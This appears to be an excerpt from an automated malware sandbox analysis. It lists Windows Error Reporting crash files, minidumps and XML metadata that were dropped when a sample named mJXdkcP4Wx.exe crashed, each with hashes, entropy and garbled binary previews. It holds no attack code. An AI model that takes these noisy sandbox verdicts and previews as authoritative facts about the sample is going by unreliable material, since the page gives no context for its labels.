Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.7.9.6.8.4.4.7.9.8.1.4.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.2.4.6.3.3.e.f.-.b.f.b.f.-.4.1.f.d.-.8.2.0.d.-.7.0.b.1.2.4.c.c.9.1.8.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.9.e.1.b.d.2.8.-.4.f.1.6.-.4.9.6.1.-.a.4.e.8.-.2.1.0.d.0.1.0.c.9.2.1.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.m.J.X.d.k.c.P.4.W.x...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.a.8.-.0.0.0.1.-.0.0.1.4.-.f.6.e.5.-.e.b.d.2.a.1.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.1.a.9.4.f.8.8.c.b.0.2.1.9.3.b.b.c.b.b.e.2.f.6.0.e.b.6.c.0.b.8.0.0.0.0.f.f.f.f.!.0.0.0.0.b.c.e.b.2.f.7.6.5.a.a.d.9.1.2.e.a.1.e.1.e.3.d.3.2.4.f.2.1.5.b.a.e.c.e.7.f.c.b.5.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0././.0.7.:.1.0.:.5.4.:.0.7.!.0.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_8bc0bd58a882d2b43234d4a4b56536fa1470e7_40a8189a_f1c726e3-c137-42b0-8c9a-332146f876d0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8895525282493634
Encrypted:	false
SSDEEP:	192:R0VBhIXs056rgjuSZr+3zuiFwZ24IO8+c:R0VBhIX56rgjO3zuiFwY4IO8+c
MD5:	6BD9BFD0C769C7875950F9B04D9FA24D
SHA1:	1C2961EEDC257CB34E87BE4EF2FC23B3B9864FFE
SHA-256:	94138283FD146371417984723234104A29B09F2ADACC3B9170D59DE212D79EA0
SHA-512:	BCF3A2839F0261CC1402793FD9F60BD231D8FF20EEC4363DC4971D5F32B54120F436529421AC48875B77839FCA2782C858C945B4F6BAF0FCA5FB3BE7C6DEADDB
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.7.9.6.8.3.6.8.4.1.1.5.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.1.c.7.2.6.e.3.-.c.1.3.7.-.4.2.b.0.-.8.c.9.a.-.3.3.2.1.4.6.f.8.7.6.d.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.d.1.7.5.0.d.1.-.0.a.c.c.-.4.2.1.0.-.8.e.7.a.-.d.d.5.a.e.4.6.a.1.1.e.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.m.J.X.d.k.c.P.4.W.x...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.a.8.-.0.0.0.1.-.0.0.1.4.-.f.6.e.5.-.e.b.d.2.a.1.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.1.a.9.4.f.8.8.c.b.0.2.1.9.3.b.b.c.b.b.e.2.f.6.0.e.b.6.c.0.b.8.0.0.0.0.f.f.f.f.!.0.0.0.0.b.c.e.b.2.f.7.6.5.a.a.d.9.1.2.e.a.1.e.1.e.3.d.3.2.4.f.2.1.5.b.a.e.c.e.7.f.c.b.5.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0././.0.7.:.1.0.:.5.4.:.0.7.!.0.!.m.J.X.d.k.c.P.4.W.x...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD6F7.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 8 16:48:01 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	85424
Entropy (8bit):	1.8219968202188
Encrypted:	false
SSDEEP:	384:+jXR0V1o/AEWeH2uo3HjePiURcCF9MQiNZQYVP8shRNnbbKqnXAAkN6UK:uqVK/AEWq2uoaPOCF9ApP8ezbKqnL8
MD5:	EEE28FF9019BE7E2ECEBBA05BA643A7B
SHA1:	390D66FDCEA157022545002144E99D9409CAA655
SHA-256:	8657E88ABEAF19642CA5A68563849C7C6A7B49D7B9739026517CE34DE170B7CE
SHA-512:	AA7870B4B1D4B3024A9DD3C2848286FB33E6A67C71D8AC5ECB458B61B9A1951D5993A9EA143461D6A8EF572E5BE627F060D96F93C4A550F0D40FC764BB55526C
Malicious:	false
Preview:	MDMP..a..... .......Ab.g.........................................0..........T.......8...........T................-......................................................................................................eJ......d.......GenuineIntel............T...........;b.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD840.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8442
Entropy (8bit):	3.702889274914131
Encrypted:	false
SSDEEP:	192:R6l7wVeJBA6Yn6YEI7SU9qqgmfI9mpBC89bNzsfTvm:R6lXJm6Yn6YE0SU9qqgmfGiNYfC
MD5:	84C24B7588C5D356AAD802D85CB8C697
SHA1:	17181F8229E875A3C5392599317E5F4FC63ED6B0
SHA-256:	6D8FADEAEF36F3ED83BBC490DB63805FC006DB9FC1373884B1E42083A8E1C3A5
SHA-512:	78A7AB8FC547650EDF6425B7B9A3DD2027954982AAB6BF9B75DAED9B02434EE1DD1612E220BC88EA8AE3961CD83EA084DABF4D89B3903CE16F12461D02F4E078
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD870.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.485428248457072
Encrypted:	false
SSDEEP:	48:cvIwWl8zs2Jg77aI93wnWpW8VY3Ym8M4JLFWHFv+q8v4WWqhtN91tdd:uIjfMI79wW7VPJLFiK4FqhtN91tdd
MD5:	0F3BC3D2BBAC98F31C70DCE3DE9ED71E
SHA1:	50962E9070A1C830363EE3B5EEACD387A9D38BCE
SHA-256:	D633B950640E112AEE3A2F5CDFB13148004F51544277C929D61D705662A18284
SHA-512:	4EC953982E13A2B85F520D43356D0057BDD984CF4D0914CD36DF79D6BC85284BA8EB839464CD8386322B663938A849113A263F6B40BEB22D35F1F2701D5E6EE8
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="534710" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDAC0.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 8 16:48:02 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	85316
Entropy (8bit):	1.8458703614095686
Encrypted:	false
SSDEEP:	768:RVKtAEDV1ScaL5ICFP5P8ezbKqnLmGn4:RweFtJ8sGqnyG
MD5:	73ED3DBBF9CAE009716B1D2F081CEF81
SHA1:	E800CC049E0BB87429D4CD5D4EEBCB60677B514E
SHA-256:	C2C0B819ECA6DA8C4F77E36A6E2AB8B63A908B917B4739ED08648E13E372574F
SHA-512:	B28B617D62F2C7D02F9B7041A42D7449F5792597F603FAEE9965F00AE6F730CDDC3137236E31A85A00FF79088212162769C8DE193A807273F54BF2F1B77D7E6A
Malicious:	false
Preview:	MDMP..a..... .......Bb.g.........................................0..........T.......8...........T...........h ...,......................................................................................................eJ......d.......GenuineIntel............T...........;b.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB5D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8440
Entropy (8bit):	3.70142334473985
Encrypted:	false
SSDEEP:	192:R6l7wVeJBo6+6YEInpSU9c4xgmfI9mpBT89b2zsfrSm:R6lXJu6+6YEYpSU9c4xgmfGV2Yff
MD5:	6A76A0586582B265749D836AC573BB11
SHA1:	97D227A89A1F6C7179A2E2F4F2E8F3E8755421AD
SHA-256:	595C1839B2EA51B975D4F2AF13464F490A4B6845EE67B45B648C7BC776AA0EE4
SHA-512:	2FD809BF4D0150355AB03961F6CEE54D6186F016522D32CA13985EEAD9C71F8B8C574610D44B48A6050255615185BAC953443A55B091602D5549010BBC75AD0B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB8D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.4859364529269214
Encrypted:	false
SSDEEP:	48:cvIwWl8zs2Jg77aI93wnWpW8VY2Ym8M4JLFWHFH4+q8v4WWqhtN91tdd:uIjfMI79wW7VSJLFdK4FqhtN91tdd
MD5:	35FC5DCC834DFDBB2A48088F4E302C31
SHA1:	F65718EDB41040B75E37291F837217106259D05E
SHA-256:	859AB5E123462BDD27BBE6C5D14F07C49ECB8C8861F24D2F4A0EB8C621216EBB
SHA-512:	AE4A094F4DBA2E60C2F9F97A37B4B557C57938C173BC652DE45AFB2A29AE2EA0C3870122CA2E691E1FD9F7D467D5325E0F9AC4BB0032E663826BC3AB9E788FA4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="534710" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDFC1.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 8 16:48:03 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	94988
Entropy (8bit):	1.6933722628451016
Encrypted:	false
SSDEEP:	384:oJCLiU2BoAEPy8zjetQURcCF+9RYWVIRnbbKqnXAAuCcBpZUVO2RNsRv:/LP2BoAEq8OtUCFAR5IBbKqnLeBpMsx
MD5:	8F8B8CD80F403936F86E0DCEB7A68983
SHA1:	7859205AC4BDEA7CCA235CAE7FC2731EEEBBEFB1
SHA-256:	2B2ED144D26FE96F6339D860C51F58A2EEE23C0062522E75C353CBCA1A0BD5EC
SHA-512:	953AB42C5483EB25AB15943D5AF388348F46EB76422B9E3BC9BEF8200624844384645D1189924CE983D8CFC73D6D1EC915EBEE8A0245E7E1BFF1DA1D4B6DD6D0
Malicious:	false
Preview:	MDMP..a..... .......Cb.g............T...............\............6..........T.......8...........T............!...Q..........@...........,...............................................................................eJ..............GenuineIntel............T...........;b.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE0BC.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8440
Entropy (8bit):	3.7022430609704005
Encrypted:	false
SSDEEP:	192:R6l7wVeJBV6z6YEIKSU9FxgmfI9mpB089b/zsfBVm:R6lXJz6z6YEVSU9FxgmfGg/YfK
MD5:	5A0EEBFE3592C0625C9B481249598EF5
SHA1:	BCC2A5EC2F7A0900C20F5A62DF62FD758FCF5407
SHA-256:	B1D22945519518BEB06A747433655909FBCD018CF52C62C066A6CB2B295E1DFE
SHA-512:	CFF25B2AF22E08A09657BCCBACA78F3F9174AE5DCB314FCF3ED031B968606D7DAC431EF6C0A58AB357663ED8461801BCAF8D5C6EC19C3DE05D4B43EF729DBE9B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE0EC.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.482736844538554
Encrypted:	false
SSDEEP:	48:cvIwWl8zs2Jg77aI93wnWpW8VY4Ym8M4JLFWHFUOI+q8v4WWqhtN91tdd:uIjfMI79wW7VQJLF5OIK4FqhtN91tdd
MD5:	CA0965F5F65FB108160565044CAA8A98
SHA1:	763DB8266CC413836C4D78A7E4F929355C59F0F1
SHA-256:	62A86608A154CCE36DD5A8263C0C0347E004BAD60807FFB8C343EBB5FBCF39FC
SHA-512:	3ABD78B95F49AE6C786FB322E6C6D40E2AE49444397C9681EECBC80FE0B2B0C980DE8AF6A30F8D86318992EAE47D35FD28E36A3DD43C669B58700EB3C140123C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="534710" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2EE.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 8 16:48:04 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	94564
Entropy (8bit):	1.7048855361805355
Encrypted:	false
SSDEEP:	768:AP2BAEvSO5vCFkWd0H5IBbKqnLcEs0kI8:eDOJgGqn/sRI8
MD5:	778D46488C671441845F840ADC563205
SHA1:	03804C12C383CECE532221FAF434B704DCDE73D1
SHA-256:	071E5CAE7629A5B6E4BAB668869F0EFC28D21DCF21B7B7B60AD520A8C6B57556
SHA-512:	650D8CDE8DD8B22772C0B8D457DEDDB44B1F8D4430BAD6AC76110AEE92A722D395C0B33DF7F6A9990EAE83B784DEEA2E959819A9B0C1084DEDE524F2737793AD
Malicious:	false
Preview:	MDMP..a..... .......Db.g............T...............\............6..........T.......8...........T............!..lO..........@...........,...............................................................................eJ..............GenuineIntel............T...........;b.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE3BA.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8440
Entropy (8bit):	3.7031313464631936
Encrypted:	false
SSDEEP:	192:R6l7wVeJB46Yns6YEILSU9FxgmfI9mpBa89bgzsfdgm:R6lXJ+6J6YEESU9FxgmfGSgYfv
MD5:	A0175B0CDE292FF0EEA53BD8051F28A4
SHA1:	766500C14FE5E75106E183E31E3A76DEF8F0F540
SHA-256:	C1B4C64F110B29C651D22663C5F7859F9BE7A28AE21548FF92DC4A6C95F9D8AD
SHA-512:	C99E62FC617362423A84B130D68D4C38F11701369A29453F8DE56875AAB9EB02BA8C916A0116D8EB787D5B3B93E804C64A1F6DA6DA9E0D04B098A1A2AB20865B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE3DA.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.484873293571453
Encrypted:	false
SSDEEP:	48:cvIwWl8zs2Jg77aI93wnWpW8VYxYm8M4JLFWHF2Mu+q8v4WWqhtN91tdd:uIjfMI79wW7VtJLF9K4FqhtN91tdd
MD5:	8B2B9940B9EB90256AD23193413AC22A
SHA1:	3BD12D01CB20EE313E86F0B15ECAC93087FC4433
SHA-256:	B77BBD1F69F890A1A950AD683D49A50595425279140FF5914D9287BD8E75DCE9
SHA-512:	4C6B76F1EE9CC6213E5A58BF24782E7B527D449005D03DD33D79F0D7F476C7CCFB54380E86C22DDF77C40C41713F970AE82C0AD1B3F3F3E65E94F12A881BC9F6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="534710" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE60B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 8 16:48:05 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	101954
Entropy (8bit):	1.700545839103819
Encrypted:	false
SSDEEP:	384:CqxScuJRBAEyx/zCMD02e6MoUIcCF+iFYWVfcbKH1XAAc34wEHtHHhvo:4JRBAEGeMDK6MHCFNF5fcbKH1Lc6HHF
MD5:	E821C79564134EEB86FE564CFC1A17CA
SHA1:	F7793CAD16D6102A8D41969CAA3B51D08E3F1B98
SHA-256:	01CE8C9052B5715D1602CF38FBF7974E60B3FA992C5C95804733FE6463CC9435
SHA-512:	6E59183747946C5F485D5B305ED5B40802292B385AB19DA1DAF49B5601F8679768DD609C911204B005CB9E54EBF613A0A99768C76633396C4919943C6B1A926B
Malicious:	false
Preview:	MDMP..a..... .......Eb.g........................(...............f;..........T.......8...........T..............d......................................................................................................eJ......8.......GenuineIntel............T...........;b.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

